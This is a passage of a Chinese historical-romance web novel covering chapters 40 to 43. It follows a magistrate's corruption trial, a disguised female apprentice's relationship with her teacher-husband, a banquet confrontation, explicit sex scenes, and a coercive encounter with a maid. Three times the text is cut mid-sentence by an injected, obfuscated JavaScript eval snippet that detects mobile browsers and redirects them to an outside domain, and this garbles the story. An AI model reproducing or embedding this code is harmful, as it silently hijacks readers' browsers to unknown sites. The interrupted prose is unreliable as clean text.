“是吗？”御史目光凝着他身上，从袖中抽出一封拆过的信，“这上面所指认勾连之人，正是汪知府您呐！” 汪知府脸色忽青，怒声道：“本官清清白白，从未行此等罔顾国法之事，定是有人构陷攀诬。” 御史不慌不忙将信纸压在案上，道：“此信虽匿名，但信中所列盐引编号，出库时辰与私铸作坊方位，皆与查抄所得分毫不差，足见举报者掌握内情。况且三日前，本官已密令调取盐政账册，知府大人户房的师爷昨夜焚毁东厢账本的灰烬尚未冷透......若无鬼，何必焚之？” 汪知府踉跄扶着桌案，张口欲辩却不能。 “证据在此，知府大人可要亲自过目？”御史一挥手，另有随从将账册残卷，未燃尽的文书与盐引底单一一陈列于堂前。 随后御史不再看惊慌的知府，目光直接落在秦劭身上，嘴角含着一丝若有若无的笑意。 ... 秦劭从公堂出来，一个身影直愣愣扑入怀中。 大庭广众这一抱实在突然，承着周遭徒弟们异样的目光，秦劭双手僵硬垂在身侧，不知如何是好。 林起先反应过来，出言打破尴尬：“弟子们都很担心师父，幸而您无事，小师弟定是激动坏了。” 秦劭颔首，拍了拍缩在身前的肩头，轻声唤她：“季凌。” 40. 欲念 季灵儿抬起头，眼眶通红，泫然欲泣。 秦劭心脏猛地一缩，极力维持嗓音的平静：“没事了。” 季灵儿仍站着不动，不开口，只眼睛死死盯着他，生怕一个错眼人就会消失不见。 “季凌，你没事吧？”云衡扯了扯她袖子，关切道。 她也不答，仍是望着秦劭，望了好一会儿才挪开，抬袖狠狠在脸上抹一把，故作轻松笑了笑，恢复往日的随意口吻：“没事，中邪了。” 秦劭看出她反常，当众不好多言，遂遣弟子们回叠翠园。 季灵儿没单独留下，跟着众人往回走。 回到园中，几位师兄实在对季灵儿方才的反应好奇的紧，围上前打趣追问：“小师弟刚才扑得可真快，素日没见你同师父如此亲近啊！” “别说，方才小师弟依偎在师父怀里的，倒像是个担心丈夫的小媳妇。” 一句话惹得众人哄笑。 一路走回来，季灵儿已恢复精神，笑着回道：“什么小媳妇，我瞧是师兄自个儿想家中贤妻了吧。” 弟子们有几个已过及冠，娶妻生子乃寻常事，但方才说话是位好面子的，不肯承认心中惦记风月，佯怒着反驳。 此地无银三百两的说辞引来众人调侃，哄笑叱骂一阵热闹，渐渐无人在意最初的好奇。 除了云衡，和梁宸。 方才在府衙，云衡的注意力一直在季灵儿身上，没有错过一丝她对师父的关切和紧张。门前那一抱太自然，几乎无任何迟疑，更不该是一个向来敬畏师父的弟子会有的举动。 处处透着怪异，云衡心中生出一个念头，却不敢往深处想，干巴巴又问一遍她回答过数次的问题。 “季凌，你当真无事？” “不是说了嘛，就是方才看审讯太激动了。”季灵儿冲他扬了个笑，与寻常无贰。 她是个重情义的，定是太过担心师父安危才如此，云衡如此劝自己。 同样目睹一切的梁宸想的却是：师父是那丫头义父之事，八成是真的！ 此设想成立，原先许多事便都能圆上......包括上次他将金蟾赌输之事，并非自己输给那丫头，而是——师父徇私！ 思及此，梁宸气得直磨牙。 ... 季灵儿散学出来，秦劭已经等在马车里，见她上来，特意往旁挪了挪，示意她坐到近前。 今日是姚怀义代课，他出现在此的理由并不多。 “您是来接我的？” “嗯。” “您也想问我白日怎么了？” “我知道，”他目光温沉，音轻得几不可闻：“季掌柜是在衙门受了杖刑后过世的，你害怕，是吗？” 季灵儿鼻头酸涩，眼泪在眶里打转，迅速低下头，咬住唇不让自己失态。 “害怕，”她哑声道，“也恨自己没用。” “人总有力不从心的时候，何况那时你还小。” 秦劭伸手将她带进怀中，宽袖一掩，隔开了冷风。 不多时，怀里传出细微的啜泣。 车声辚辚碾过青石街，停在如意楼前。 秦劭轻拍她的背，道：“不哭了，留些力气填肚子，嗯？” 二人并肩步入如意楼，没人瞧见不远处，茫然立于人群中的云衡。 云衡散学后追着季灵儿出来，到马车后听见里面有男子说话，声音像极了师父。 鬼使神差跟到此处，看见从车上下来之人当是师父心口闷的发疼。 许是师父寻季凌有事，顺道请她用膳罢了。 他捏着腕上的红绳，一遍遍说服自己。 一炷香过去，仍傻子似的在墙边站着，呆呆仰望雕花窗棂里透出的暖光。 实则根本不知他们在哪扇窗子后。 街上车马川流，直到暮色彻底吞没天光，云衡看见二人从酒楼出来，季灵儿脸上挂着笑，似有醉意地贴着师父，脚下步子虚浮。 而师父就那般自然地揽上她瘦弱的肩膀，把人护进怀里，避过街边行人，以及冬夜寒风，最后将她扶上马车，自己亦坐了进去。 北风呼啸，云衡浑身僵硬，鼻尖喷薄的白气在冷空中碎成细雾，指尖早已掐进皮肉里，可他觉不出疼。 ... 秋棠煮好醒酒汤回来时，外间已没了两位主子踪影，只听得内里有绵绵低语，听起来是少夫人在撒娇，夹杂着或清浅或粗重的喘息。 福至心灵的秋棠顿在帘子外，咽下喉咙干涩，红着耳朵疾步出去。 “先生......” “叫夫君。” “夫君......不要了......” 季灵儿仰在榻上大口喘气，衣衫已堆至腰间，手里还捏着秦劭的衣带。 脑中昏沉未散，她甚至记不清自己如何同秦劭缠到一处的，起初仅是一瞬不经意的对视，她被他眼中映着的漂亮烛光吸引，凑近些，烛光被自己的影子取代大半，依旧红彤彤的，灼得她心尖一颤。 “真好看。”她笑着夸自己。 踮起脚尖欲再看清楚些，一个没站稳撞进他胸膛，随后腰肢，脑勺……最后周身被属于秦劭的热气包围，唇畔也落了他的温度。 她好热，想方设法汲取凉意，反将自己送入更灼烫的渊薮。 直到冰肌暴露在空气中，恍惚意识到这份滚烫来源于压在身上的人，他的呼吸，抚摸，亲吻，如烙铁般焚燃她每一寸知觉。 她想逃，可四肢早已发软，只能无助地扭着身子低吟。 “你太烫了，我不要。” 她想要清凉，想纾解的燥热，绝非在火球里越陷越深。 “我现在走，你不会像上次一样生气吗？”秦劭噙着笑回她。 被酒精麻痹的神识反应了片刻才明白，摇头道：“不，不会。” “当真？”他撑起上身，盛满情.欲的眸子直直坠入她的眼底。 他怎么连视线都是烫的？ 季灵儿被他烧得神魂俱颤，别开脸，不敢再对视。 “当真。” “成。”秦劭失望地应了声，从她手中抽出腰带，翻身坐在一旁。 衣袍摩擦声窸窣响起，季灵儿扭脸望着他宽厚的脊背，烛火在他肩头跳跃，晃得她心中一片灼热难安。 秦劭系好腰带起身，走两步拾起地上外袍披上身，回眸问：“需要叫人进来吗？” 季灵儿拢好衣衫坐起来，闻言点了点头，在他转身时紧追着问道：“那你去何处？” “等着睡外间。” 不知是否错觉，季灵儿听他低哑的嗓音里裹着一丝隐忍的委屈，像怨夫。 见她一直不说话，秦劭贴心地提醒：“你说最近都不许我睡榻的，忘了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451365|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 更像了，季灵儿想。 “哦，没忘。”她低低应了声，垂眸不看他。 秦劭没说话，挪步出去，换了玉秀和秋棠进来。 泡过热水，喝过醒酒汤，季灵儿脑袋清醒不少，可看着倚在暖炕上的秦劭，想到分别前他灼热的目光，忽觉心中空落，深处似有隐秘渴望叫嚣，退却的燥意再度攀上四肢百骸。 他眉目沉静，好似很有闲情逸致地翻着一卷旧书，无论她如何动静，分毫不抬眼看。 她抿唇站了须臾，摆手示退旁人，小步挪他近些，用只有两个人能听见的声音问：“您......真的很想要吗？” 握着书卷的指节攥紧，骨骼突兀似要撑破皮肉，秦劭仍没抬头，哑声道：“快去睡吧，莫要着凉了。” 待人回里间熄了灯，秦劭终于搁下书，双眼布满血丝，喉间溢出一声几不可闻的叹息。 他无法忽视身下的胀痛与灼热，又不能纵容自己踏入帘子另一侧，只能又一次以冷水压抑。 “这样也好，他本就不是我的夫君。” 季灵儿裹在被衾里反复念叨，劝自己心安，伴着淅淅沥沥的水声，悄然坠入梦乡。 冲完凉的秦劭放心不下她，轻步回到里间，伸出去的掀帷帐的手在听到一句含糊呓语时顿住。 即便含糊，即便声音微不可闻，他还是听清了。 她说，他不是我夫君。 凉水没能全然消除的欲念，在这一刻，灭了干净。 ... 季灵儿梦见自己在雪地里跋涉，四顾茫茫，她无论如何都走不出那片雪原，无助之时看见远处有个披着玄色大氅的人影，身形像秦劭，看不真切正脸。 想走近看仔细，又被寒风裹挟的雪粒迷住双眼，小腿以下深陷积雪动弹不得。 好不容易拍开雪粒，那人已经先一步来到她跟前，伸出宽厚的手掌将她拉出雪坑。 “真的是你！”梦里的她很激动，注意到他手上空空荡荡便问：“你的白玉扳指呢？” “送娘子了。”他说，弯唇笑得十分温柔，连风雪都停了。 “你有娘子了？”梦里的她满脸诧异。 秦劭点了点头，目光落在二人相牵的手上，她这才看见，那枚白玉扳指正稳稳戴在自己指间。 “夫君，”梦里的她开心唤他，同他拥抱，亲吻，在皑皑白雪里翻滚，在他的要求下一遍遍唤夫君。 梦中最激情的瞬间，她唤的夫君破了音，刹那间雪山崩塌，轰然卷来的雪浪将两人吞没。 她惊喘着醒来。 “您做噩梦了？”秋棠在榻边守了好一会儿，见她醒来总算松一口气。 季灵儿缓过心神，梦中一切还清晰如真，并非噩梦，是春梦，而且梦得太过羞人，她不仅脸颊滚烫，身下似乎也泛着异样的潮意。 她自不会向秋棠承认荒唐梦境带来的悸动与羞耻，只问：“大爷人呢？” “在院子里。” 季灵儿掀开毡帘出门，入眼白茫茫一片，惊叹道：“竟下雪了。” “昨儿后半夜便下了，足足下了一夜呢。”秋棠笑着回道。 意外的一场雪，再次提醒季灵儿回忆起梦境，视线自觉追到秦劭身上，佛头青缂丝白貂袄裹着挺拔身躯，正认真端详跟前的雪人。 “夫君。”她主动唤了一声。 41. 心事 秦劭闻声回首，眸光微动，却似雪光照入深潭，涟漪轻微得可以忽略不计。 “如此有雅兴，一大早堆雪人。” “雪太吵了，睡不着。”他嗓音满含清晨的寒凉，说着拂去肩头碎雪，缓步走到廊下。 落雪还有声音么？ 季灵儿觉得这说辞实在刻意，以为他在同自己置气，便问：“可是外间睡得不舒服？要不您今日回来睡罢。” 他没应后半句，只说：“与睡何处无关，我觉浅。” 季灵儿心说这人还挺拿乔，索性也不同他多话了，转身回屋里用早膳。 用过早膳，二人照旧分道至叠翠园。 季灵儿跃下马车刚好看见云衡在前面，扬声唤他，怎料他跟没听见一般，头也不回，反倒加快步伐往里去。 愣了愣追上去，在他肩上一拍，问：“你怎么了？” 云衡终于驻足，摇头说无事，可眼神躲躲闪闪，面色更是青白得厉害。 “无事为何不应我？” “没，没听见。” 季灵儿太了解他，一撒谎浑身猫挠似的不自在，眯眼问道：“私事，不想跟我说？” 云衡没说话，算是默认。 谁还能没点心事，季灵儿尊重旁人的秘密，耸耸肩道：“罢了，等你想说随时找我。” ... 秦劭今日教查账，开课前先端出一摞陈年腐账给众弟子验算，乃早年一家因亏损严重被官府查抄的钱庄旧账。 “商道之本在于信，信系于账，入此门，便要从烂账里理出真金。” 众弟子在家时多少看过些账册，然一翻面前残破断页，墨迹混淆的旧账，无一不皱眉。 秦劭无视他们抓耳挠腮的苦闷，肃声道：“一炷香为限，至少择出五条漏洞，不达标者抄手中账册直到明悟为止。” 弟子们素知秦劭严厉，可今日这般堪称刁难，话音落，底下怨声四起，旋即又被“刁难者”以咳声喝止，收起议论闷头苦算。 季灵儿从头至尾过一眼账册当即有了眉目，指尖在檀木算盘上疾速翻飞，噼里啪啦作响。 香燃一半时，她伸出食指将算盘最上方一颗悬着的珠子拨归原位，抬眼看向秦劭，清亮的声音藏不住得意：“先生，弟子已理清了。” 众人愕然抬头，素日功课斐然的林起与云衡也才算出六成。 季灵儿迎上一众惊诧目光，心中难以抑制的畅快，步履轻盈走到堂前递交。 其上列出十条漏洞，条分缕析，佐证详实，条条切中要害，更难得的，是她指出“所有散碎漏洞，皆在为掩盖钱庄借三次周转为名，实则做假账为其背后权贵洗钱”这一核心症结。 秦劭心中欣慰，神色未露分毫，沉静掠过季灵儿脸上的得意，缓缓问道：“若你执掌这家钱庄，当如何挽救？” 季灵儿唇边笑意霎时凝固。 她以为，他至少夸一夸自己。 脑海中飞速闪过几个念头，又很快否定，账目漏洞可查，经营死局难解，她能看清钱是怎么没的，可实在想不出钱该怎么来。 唇线抿紧，困顿地看向秦劭。 回应她的目光清冷，甚至带着久违的严峻，恍然看到从前的先生。 “说不出？”说话的语气也恢复冷厉，令她闻之掌心发麻。 季灵儿攥紧袖口，赌气地梗起脖子，道：“回先生，钱庄信誉已毁，资产尽失，理清账目不过徒劳，若交由弟子处置，便关门大吉，换块招牌重开。” “荒唐，”秦劭甩手将卷纸掷于案上，语气跟着加重：“你以为经商是儿戏吗，说关就关，说重来就重来？一家钱庄牵连百业千家，诸多生计系于其上，一关了之，岂非断人活路。” 一通教训惊得季灵儿脸色涨红，思绪顿了半晌。 她常因自恃天赋和聪敏得意忘形，此非头一次当众挨训，却是头一次生出委屈，鼻头酸胀厉害，她咬着压根回住泪水，垂眸道：“是，谨记先生教诲。” 秦劭被一闪而过的碎光挠破心坎，语气缓和下来：“季凌，你于算术看账的确有天赋，可不该执管窥天便沾沾自喜，思问题根本，方能触到经营的根本。” 季灵儿委屈缠在喉咙上，低哑应了句：“知道了，先生教训的是”。 云衡知晓她好强，受了训心里定不好受，自个儿那些别扭的私心因这场风波暂压，为哄她开心，提出散学后做东如意楼。 他没直说缘由，季灵儿以为是想通了，吃饭时一直等不到他开口主动提起：“还没想好如何说？” “什么？” “你约我，不是要同我说事吗？” 筷尖顿在碗沿，云衡盯看良久索性放下，道：“有件事我想不明白，想征询你的看法。” “你说。” 云衡目光闪闪烁烁瞧她，试探问：“若有人对你表明心迹，但你不喜欢对方，日后还会同他做朋友吗？” 季灵儿正夹着一块蜜糕送入嘴中，闻言险些呛住，急得囫囵咽下，问：“哪家姑娘同你表明心迹了？怎得从前没见苗头？” “不，不是......”云衡慌张否认，耳尖泛起大片红晕，“哎呀，你且回答我的问题，莫问其他。” 季灵儿想了下，认真道：“若对方真心待我，我不能回以同样的真心，自然要早早说清楚，免得伤人太深，心既明了，不能再含糊，朋友的话......应当是做不得从前那般近了。” 云衡垂眸望着碗中残羹，眼神默默沉下去，声音亦低得几乎听不见：“我晓得了。” 季灵儿看出他害羞，仍忍不住好奇：“真不同我说啊？说说呗，我保证守口如瓶。” 云衡只是摇头。 “小气鬼。”她耸鼻嗔一句，未再追问。 用膳到最后，云衡没忍住心思，小心翼翼道：“我还有一件事想问，但你莫生气。” “你今日磨磨唧唧的好生奇怪，有话就说。” “你同师父......私下也有来往吗？” 季灵儿怔住，紧张道：“怎突然如此问？” 云衡扣紧手腕道出实情：“我昨日看到他在你马车上。” 季灵儿以为他只是在叠翠园门前遇见，没多追问，想了想，凑近些神秘兮兮回道：“偷偷告诉你，他其实就是我那神秘的义父。” 这下换云衡愣住了，她眼中攒着笑意，看不出真话还是玩笑。 张了张嘴，半晌才挤出一句：“你当真？” 季灵儿用力点了头，反正无人知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456770|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义父是谁，且让先生顶一顶，比坦白真实关系强。 云衡仍不敢信，愕然看着她，“怎么从未听说......” “都说了是秘密，”季灵儿狡黠一笑，指尖轻点唇边，“你万不可泄露出去。” 云衡在自己嘴上比了个封缄的手势，郑重应下。 饭后，二人下楼时恰与一中年男子和两名美人擦肩，美人姿容娇艳，婀娜窈窕，实在惹眼，季灵儿不由得回眸多瞧了两眼。 却听男子低声叮嘱：“招呼好秦爷，少不了你们的好，若再得秦爷青眼，后半辈子更有享不完的福气。” 她嗤笑一声没太在意。直至出了大门，眼见伙计正牵着秦家马车往后院去，脚步猛地顿住，再回味男子口中的秦爷，立时换了滋味。 转头向云衡求证：“那人方才说的，是秦爷吧？” “我没在意。”云衡别开视线，撒了谎。 季灵儿几乎是下意识往回走，“不成，我要去瞧瞧。” “季凌，莫要多管闲事。” “这不能算管闲事，我，我要替义母看着他。” 季灵儿没听他劝，疾步返回楼上，挨着门缝一间间张望，直至在最尽头的一间外，听到熟悉的声音。 “还不快给秦爷斟酒。”是方才那位男子。 紧接着，是一把娇柔得能滴出水来的女声：“秦爷，妾敬您一杯。” 门扉紧闭，内里情形瞧不真切，不知秦劭究竟有没有接过那杯酒。 既是特意为他安排的，两名女子岂会规规矩矩？怕是要贴身偎倚，眉目传情，直接投怀送抱也未可知。 季灵儿脑海中不受控制地浮现出画面，一股无名火倏地窜起。 “师父仅是应酬，我们别扰了他兴致，回去罢。”云衡低声劝道。 “兴致？”季灵儿敏锐地捕捉到这个词，恰在此时，门内传来秦劭一声低笑。 看来的确很兴致。 “二位客官找人吗？”上菜的伙计见他们驻足门前，客气询问。 “我们走错路了。”云衡边说边去拉季灵儿的胳膊。 季灵儿不挪步，趁伙计开门的功夫往里打量，想见的人正被一抹艳色身影挡住，只窥见袖口半露的黛蓝色衣料，是秦劭惯常所穿。 从她的角度看，绯衣女子正侧身奉酒，曲线勾勒出惑人弧度，姿态妖娆，染着绯色蔻丹的纤指捏着酒杯往身前递。 伙计入内，门扉逐渐合拢。 季灵儿顾不得多想，甩开云衡的手一步上前，“砰”地推开房门！ 室内霎时一静，围坐桌前的众人齐刷刷望来，目光中尽是震诧。 “季凌？你在此处做什么？”坐在秦劭下首的姚怀义率先回过神，看一眼秦劭，讶然开口。 季灵儿目光直直落在秦劭脸上，他眉梢微抬，深邃的眸色闪过惊诧，但仅仅一瞬便恢复如常。 持杯而立的绯衣女子，与他之间尚隔着一臂距离，并非她在外看到那般紧密偎依。 季灵儿登时僵在原地，一股后知后觉的窘迫袭上心头。 “抱歉，走错了。”她硬着头皮装傻，说罢欲调转脚步开溜。 “来寻我？”秦劭偏在这时开口，掷地有声的一句，令满室空气更凝滞。 42. 圆房 季灵儿顺势点头。 秦劭起身走向她，先一步温声解释：“只是寻常应酬。” 声音不高，看似对她一人说，实则全场都听得真切。 在座众人面面相觑，偷偷向姚怀义打听此乃何人。 姚怀义亦愣神，只简单回了句“他小弟子”。 季灵儿不语，眼风扫过那两名美艳女子，暗讽寻常应酬人家何故专门找美姬作陪。 秦劭似看穿了她的心思，温和语气里半藏浅笑：“既然来了，不如留下一起？” 此言一出，满座皆惊，何时听他用过这般语气与人说话？有胆大的按捺不住，试探问道：“敢问大当家，这位是？” 秦劭面色如常：“替内子带话来的。” 众人先是一愣，随即恍然，原是家中夫人不放心派人来查探，难怪如此优容。 季灵儿听懂了他专门强调的“内子”二字，颊上烧红一片，哪里还留得住，强忍羞臊道：“不扰您雅兴，我先回了。” 目送她的背影消失在门外，秦劭压下唇角笑意，故意蹙起眉头回到席间，作出副忧心模样：“恐这次回去不好交代了，冯掌柜的美意，秦某只得心领了。” “是在下考虑不周，还望大当家海涵。”冯掌柜是个明白人，当即对两位美人使了个眼色。她们会意，施礼退下。 好一招四两拨千斤，姚怀义在旁看着，暗中朝秦劭竖大拇指。 季灵儿从如意楼出来悔了一路，他是应酬还是花天酒地，与她何干，巴巴的冲进去做什么，又怨自己耳根软，竟被一声内子闹得方寸大乱。 越想越羞愤，沐浴后直接让玉秀熄灯，还嘱咐若秦劭问起，只说她早睡了。 秦劭戌时末回府，寝房里间昏黑一片，果真问向门口守夜的玉秀：“少夫人睡下了？” 玉秀应是。 “睡下多久了？” “约有半个时辰了。”玉秀勾着头答。 秦劭挑眉反问：“半个时辰？” 玉秀小幅度点头，紧接着找理由避开：“奴婢去为您备水。” 秦劭目光在内室绣帘上停了一瞬，抬步进去。 一束烛火燃起，铺开一层暧昧的暖黄光晕。 他解去外袍置于架上，挑起帘栊坐下，榻上人儿面朝里侧卧，散落枕畔的青丝尚有湿气。 低笑道：“门房说你回府不过半个时辰，撒谎也不盘算仔细。” 屋里寂静，清晰听见原本匀细的呼吸顿了须臾，变得愈发紊乱，但她仍背对着他不动分毫。 “为何闯席？”他声音低沉，混着酒气的醇醺。 寂静在屋内蔓延，回应他的唯有外间进出忙碌的脚步声与木盆倾水的哗啦。 季灵儿心说怕什么来什么，铁心装睡到底，将眼睛闭得更紧，尽力放缓呼吸。 “季凌，”秦劭伸手探出去，停在乌黑发梢上，“逃避解决不了问题。” 他真的很惹人厌，凡事总爱寻根究底。 闯了便闯了，有何可追问的。 白日对她冷淡训斥，眼下又一副说道理的开场。 憋了一整日的委屈情绪，此刻直接被架在火上炙烤，咕嘟咕嘟沸腾，急于寻个缺口涌出。 一声烛火爆响，季灵儿猛地翻身坐起。 秦劭怔忡的刹那，她已凑上前，带着不管不顾的狠劲，张口咬在他喉结上。感受到他身体骤然绷紧，听到自喉间溢出一声压抑的抽气，才满意松开齿关。 乌发瀑布般滑落肩头，眼中燃着两簇近乎凶狠的火焰，在他说话前反客为主地问回去：“你先说白日为何当众训斥我？” “我那是就事论事。” “哼，”季灵儿对此半信半疑，旋即翻起旧账：“那早晨呢，你态度可是冷淡的紧。” “有吗？” 季灵儿重重点头，“昨晚沐浴后也是。” 秦劭无可辩驳，苦笑道：“你既感受的到，不知为何吗？” 季灵儿想过缘由，但觉得不至于，面对他问，还是如实答了：“就因为我不要你睡你便冷着我，公报私仇？” “......”秦劭更弄不清自己在她心中究竟是怎样的形象，抚着她留下的湿润印痕，涩然道：“昨日一宿未眠，许多事尚未理清楚，不知如何面对你。” “何事？”她亦学他刨根问底。 “我想不通，该以何身份待你。”他说，“你可知先生与夫君之间，差别很大。” “你本来就是先生啊。” “那今日在堂上，你因何委屈？” “我本以为你会夸我的，结果兜头一顿训斥，自然要委屈。” “只为这个？” 季灵儿不答，她没细想过。 偏秦劭要的是她想清楚，想明白，身子前倾压近，问回方才：“那么——在如意楼时，为何进来阻拦？” “那是因为，因为......”季灵儿乱麻似的寻不到头绪，他身上的酒气熏过来，更是连话都说不明白。 “因为你在乎我，”秦劭替她答了，循循诱她捋顺思绪，“季凌，我想知道，你在乎的是先生，还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462885|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫君。” “我不喜欢你身上的酒气。”她推他一把，别过脸。 秦劭回身坐正，凝着她侧脸道：“若我日后都以今日在堂上的模样待你，同你嫁于我之前一样，你会开心吗？” 季灵儿甫一回想今日情形，那股委屈折回鼻尖，反令她犟着不点头。 “我不知道。” 少顷，一枚轻吻她脸颊上，蜻蜓点水地一下又一下，缓缓向后移，直到温热的呼吸擦过她耳际。 “这样呢？”他问。 季灵儿浑身血液轰然涌动，下意识抓他衣襟侧头避开瘙痒，却非推开。 “还不知道吗？”他低喘着咬她耳垂，手指绕上她垂在肩头的一缕青丝，缠绕把玩。 “你醉了。” “嗯。”他没有否认，撕咬变成含吮，喉间滚出低哑的应和。 季灵儿试图抽回自己的头发，被他稍稍用力缠住，一圈圈收紧。 酥麻的颤栗自上而下，浪花般翻滚，荡出一圈又一圈涟漪，她终于绷不住软了声，“松开......” “给我一个答案。”他不依，甚至有些耍赖。 季灵儿无奈，“你酒气太呛人，先去沐浴......也让我想想清楚。” 他松开手指，任那缕青丝滑落，他眸色幽深地望了她片刻，才起身退开。 季灵儿从未觉得西次间的水声如此清晰，淅淅沥沥拨得她心弦乱弹，根本无暇想明白他抛出来问题。 水声停了，她仍坐在原处，指尖摩挲着耳垂，想将他留在那里的温度尽数捻除。 可惜事与愿违，不仅没除去，反倒勾起昨夜的梦境。 他引诱，乞求，甚至故意做坏，要她唤夫君。 秦劭裹着湿气走近，发梢滴落的水珠沿着下颌滑入半敞的衣襟之下，他蹲身于榻前与她平视，嗓音沾满水汽：“现在能答了吗？” 他身上氤氲着热气，更显得眼底欲念灼灼，季灵儿不小心陷进去，恍若重回梦境。 “夫君。”下意识吐出的二字轻如呢喃。 秦劭黑黝黝的瞳孔骤然收缩，挤出杂质，唯余她的倒影。 “想明白了？” “没有，”她摇头，诚实回道：“但我希望你是夫君。” 秦劭低笑一声，单臂环住纤腰贴近，“再唤一声。” “夫君。” 很快，一个剥壳的荔枝被湿热的唇辗转吮吻，愈发甜腻，汁水止不住往外溢。 最终，化作他嗓音里粘连的甜腻。 “乖，忍忍。” 43. 欢好 秦劭做足了功夫，可切入正题，季灵儿仍容不下他的过分。 啃他，咬他，狠狠抓挠他。 过半时，他沙哑的嗓音唤出她名字。 “灵儿。” 他从未如此唤过，季灵儿不禁紧张地缩起肩膀......分神思量。 分不清他叫的是灵儿，还是凌儿？ 应当是凌儿罢。 兵法云：虚虚实实，兵无常势。① 秦劭闲时兵书到底没白看，很会瞄准薄弱时机攻坚克难。 冲破最后防线掠地成功，他慢慢领略山河滋味，柔声安抚俘虏：“灵儿很棒了，别哭，叫人。” 一声“夫君”碎成星火，点燃漫漫长夜。 ...... 初次上阵的秦劭颇有耐心，而且食髓知味，变着花样夸她，哄她，温柔亲吻她的脸颊和耳根，一遍遍含走泪珠……一而再三。 大战持续半宿才鸣金收兵。 翌日他精神更甚，按时起身，季灵儿睡意昏沉，日上三竿懒懒转醒，浑身遭磨盘碾过般酸软，勉强抬起胳膊摇铃唤人。 “几时了？” 玉秀：“午时。” 岂非睡过去半日，早误了去学堂的时辰 季灵儿睡意消散大半，撑着身子欲起。 玉秀忙劝：“大爷走前交代让您歇着，不必去园里。” “你知道了？”面对玉秀，季灵儿因心虚生出几分难为情。 玉秀明白她的顾虑，遂道：“奴婢替您高兴，奴婢看得出，大爷很喜欢您。” 季灵儿反问：“你不该替你家小姐惋惜不平吗？” 玉秀轻轻摇头，反倒劝她：“奴婢多嘴说一句，您若想稳稳在这府里立足，还得多去老夫人和夫人跟前伺候，讨个欢喜。这些日子您不常在府，四夫人没少在老夫人跟前吹邪风，大爷虽替您周旋，但老夫人最重孝道规矩，日子长了，难保不心生嫌隙，届时您在后宅便难做了。” 季灵儿听得出她这番话是为自己着想，掏心窝子说的，但她刚一脚踏入温柔乡，更多贪恋眼前的温暖，心绪尚在云雾里，未想过长久立足秦家之事。 “容我再想想。” 老夫人关心这院子动静，晓得她今日没出府，遣人来请去正院陪着午膳说话。 玉秀特意给她拿了件衬气色的银红撒花袄子换上，陪着去正院。 那厢早备好参汤，待她落座老夫人着人奉上，笑着关怀：“最近跟着宗劭学生意可辛苦？” 季灵儿听话音，约莫明白了秦劭为她周旋的说辞，温顺答道：“如今方方面面都有规矩可循，我照着学做，不敢说辛苦。” “秦家经商发际，只是行商辛苦，女眷里少有能吃这份苦的，你有这份心思很难得，”老夫人颔首，眼角笑意温慈。 大房的孙媳妇将来总要执掌中馈的，了解商行日后也能好帮衬夫君，是以老夫人并不反对她随秦劭学理事，反而关怀勉励几句，才回转话头道：“近日你三婶娘惦记给宗勉选媳妇，挑来挑去都不合宗勉心意，便央着让你掌掌眼。” 季灵儿诧异：“小叔的终身大事，我如何使得？” 老夫人：“你不知，宗勉怕他大哥，你作为嫂嫂定能说上话，况前日是他主动在我跟前说，希望能让你这个做嫂嫂的帮着相看。” 季灵儿没法子，只好先应下，心里愈发糊涂，秦勉知她是个冒牌货，提出让她帮忙选妻室安的何心？ 从正院出来往回走，季灵儿正寻思三房所托，迎面遇见正主。 “大嫂嫂安好。”秦勉拱手作揖，桃花眼挑着笑看过来。 眸光流转，极自然越到身后的玉秀，停留须臾才收。 季灵儿留意到，猛然想起玉秀先前所要，秦勉莫不是存心思娶真正的宋芮宁吧？ “大嫂嫂从祖母院里出来，想是已经应下替我相看夫人的事，先在此谢过。” 他竟如此笃定她会应。 季灵儿：“祖母的确提了，但怕帮不上你什么忙。” “我想要的夫人，唯有大嫂嫂能替我寻到。”秦劭笑的狡黠，顿了顿又道：“母亲还备了谢礼，既遇到，劳嫂嫂身边的丫鬟去我们园里领了罢。” ... 玉秀跟着秦勉来到三房院子，进的却非三夫人所居的正屋，而是他日常起居的偏院。 直到屋门紧闭，玉秀依旧勾着头不敢抬眼，感受到秦勉周身戾气笼罩过来，身子紧紧绷着。 玩味的笑声从头顶砸下：“总记不住我说的话？” 玉秀颤巍巍抬头，迎进他讥诮的目光里，“奴婢不敢。” “那还墨迹什么，等旁人发现来听墙角吗？” 并非第一次被带进来，玉秀知道他有安排人守院门，心跳仍不受控地乱撞，咬住唇瓣抬手，颤抖着解开衣带。 “又咬，真是不长记性，”秦勉扼紧她的下颌，拇指重重碾在唇瓣上。 他说过不喜欢她作出一副被勉强的模样，玉秀会意松开贝齿，任他的指节钻进去，在口中碾磨。 